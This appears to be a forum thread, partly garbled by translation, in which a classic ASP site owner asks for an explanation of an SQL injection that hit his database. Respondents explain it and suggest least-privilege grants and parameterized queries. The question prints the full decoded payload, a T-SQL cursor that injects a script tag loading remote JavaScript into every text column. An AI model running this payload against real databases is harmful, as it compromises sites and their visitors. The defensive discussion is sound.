Can someone explain this SQL injection injection for me?

Question

I wanted to post this here as it is very related to coding, and it was something that I had to clean up this week on one of my old ASP (classic) sites.

We got hit with an SQL injection attack that was launched just a few days ago, but I scratched my head. HOW "damage" was for the SQL server (through these SQL queries).

Honestly, I thought that it was very inventive, how it was done, and his companies are mistaken in that I have an old 10-year-old website with almost no deficit input.

Attack:

122 + declare +% 40s + VARCHAR% 284000% 29 + set +% 40s% 3Dcast% + a + VarChar% 284000% 29% 29 +% Exec 28% 40s% 29 -

What he decrypts: (what I want to understand)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

We restored the backup (pre injection) and went through the entire application and deactivated all input operators. Our server is a firewall, so there is no direct access to SQL, however I want to know what else can be left, and I must admit that the SQL query is above my head.

Can someone hack and explain SQL attack for me?

APOLOGIES I UPDATED FULL DUMP and SQL

Answer 1

Simple formatting for readability will clarify a lot:

 set ansi_warnings off DECLARE @T VARCHAR(255), @C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME, c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH > 30 and t.table_name = c.table_name and t.table_type = 'BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C WHILE(@@FETCH_STATUS=0) BEGIN EXEC ( 'UPDATE [' + @T + '] SET [' + @C + '] = ''"></title>'' + ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' + ''<!--'' + RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])) WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17) <> ''"></title><script'' ' ) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

It goes through each text column of each table and inserts some HTML code into it; HTML that contains a pointer to JavaScript generated externally.

Answer 2

It iterates over all columns in all tables and updates their value by adding the <script> , the source of which points to a malicious JS file.

Important bit

 DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in 

I suppose something is omitted here and the statement probably ended up with something like ("varchar", "char", "text") or something similar, so that it only tries to update the columns containing the text. They hope that one of the columns will contain text that will be uploaded to your site, so after adding a link to it JS it will be included in the source of various pages.

To fix this, you should do something like this - skip all the columns containing the text, and replace the script you entered with an empty string. Google will be your friend here, but here is a very good link that should be useful for setting up a script for this.

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

Answer 3

Consider installing URLScan 3.1 to quickly protect your application from sql injection attempts, and also work through your application to properly deactivate your SQL statements.

This type of sql injection attack also usually works because the user of your database has too weak permissions, for example. DBO Rights. Try connecting to your database from your application using a database user with only the necessary rights to run your application. You can create a database user, map it to your public rights database, and not run the script as shown below to apply the necessary individual rights to each object that you need.

 DECLARE @LOGIN varchar(255) DECLARE @DB varchar(255) SELECT @LOGIN = 'yourdbuser' SELECT @DB = 'yourdb' /* set default database */ EXEC sp_defaultdb @LOGIN, @DB /* drop system admin role */ EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin' /* drop database owner role */ EXEC sp_droprolemember 'db_owner', @LOGIN /* grant execute on all non system stored procedures and scalar functions */ DECLARE @SP varchar(255) DECLARE Proc_Cursor CURSOR FOR SELECT name FROM sysobjects WHERE (type='P' or type='FN') AND category <> 2 -- system OPEN Proc_Cursor FETCH NEXT FROM Proc_Cursor INTO @SP WHILE(@@FETCH_STATUS=0) BEGIN EXEC ('GRANT EXECUTE ON ['+@SP+'] TO ['+@LOGIN+']') FETCH NEXT FROM Proc_Cursor INTO @SP END CLOSE Proc_Cursor DEALLOCATE Proc_Cursor /* grant select on table functions */ DECLARE @TF varchar(255) DECLARE Tf_Cursor CURSOR FOR SELECT name FROM sysobjects WHERE (type='TF') AND category <> 2 -- system OPEN Tf_Cursor FETCH NEXT FROM Tf_Cursor INTO @TF WHILE(@@FETCH_STATUS=0) BEGIN EXEC ('GRANT SELECT ON ['+@TF+'] TO ['+@LOGIN+']') FETCH NEXT FROM Tf_Cursor INTO @SP END CLOSE Tf_Cursor DEALLOCATE Tf_Cursor /* grant select/update/insert/delete on all user defined tables */ DECLARE @T varchar(255) DECLARE Table_Cursor CURSOR FOR SELECT name FROM sysobjects WHERE (type='U' or type='V') -- user defined tables and views OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T WHILE(@@FETCH_STATUS=0) BEGIN EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['+@T+'] TO ['+@LOGIN+']') FETCH NEXT FROM Table_Cursor INTO @T END CLOSE Table_Cursor DEALLOCATE Table_Cursor /* deny access to system tables */ DENY SELECT ON syscolumns TO yourdbuser DENY SELECT ON sysobjects TO yourdbuser DENY VIEW DEFINITION TO yourdbuser DENY SELECT ON sys.databases TO yourdbuser DENY SELECT ON sys.columns TO yourdbuser DENY SELECT ON sys.objects TO yourdbuser DENY SELECT ON sys.sql_logins TO yourdbuser DENY SELECT ON sys.all_columns TO yourdbuser DENY SELECT ON sys.all_objects TO yourdbuser DENY SELECT ON sys.all_parameters TO yourdbuser DENY SELECT ON sys.all_views TO yourdbuser 

Obviously, test this against your specific application, as you may have procedures that require sys to be selected from these tables.

Answer 4

I think it is trying to insert encoded rows into all text columns in your database. Check out this ref: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

Hope this helps in a way

Answer 5

Look at changing your queries as follows:

 Dim oConn, oRS, SQL 'Query open to attack SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id") Set oConn = Server.CreateObject("ADODB.Connection") Call oConn.Open(conn_string_from_inc) Set oRS = oConn.Execute(SQL) Call oConn.Close() Set oConn = Nothing 

Something like that;

 Dim oCmd, oRS, SQL SQL = "SELECT * FROM [Table] WHERE [id] = ?" Set oCmd = Server.CreateObject("ADODB.Command") With oCmd .ActiveConnection = conn_string_from_inc .CommandType = adCmdText .CommandText = SQL Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4)) .Parameters("@id").Value = Request.QueryString("id") Set oRS = .Execute() End With Set oCmd = Nothing 

This is just a crude example of dealing with SQL Injection without resorting to sanitizing the input. I would have acted differently anyway.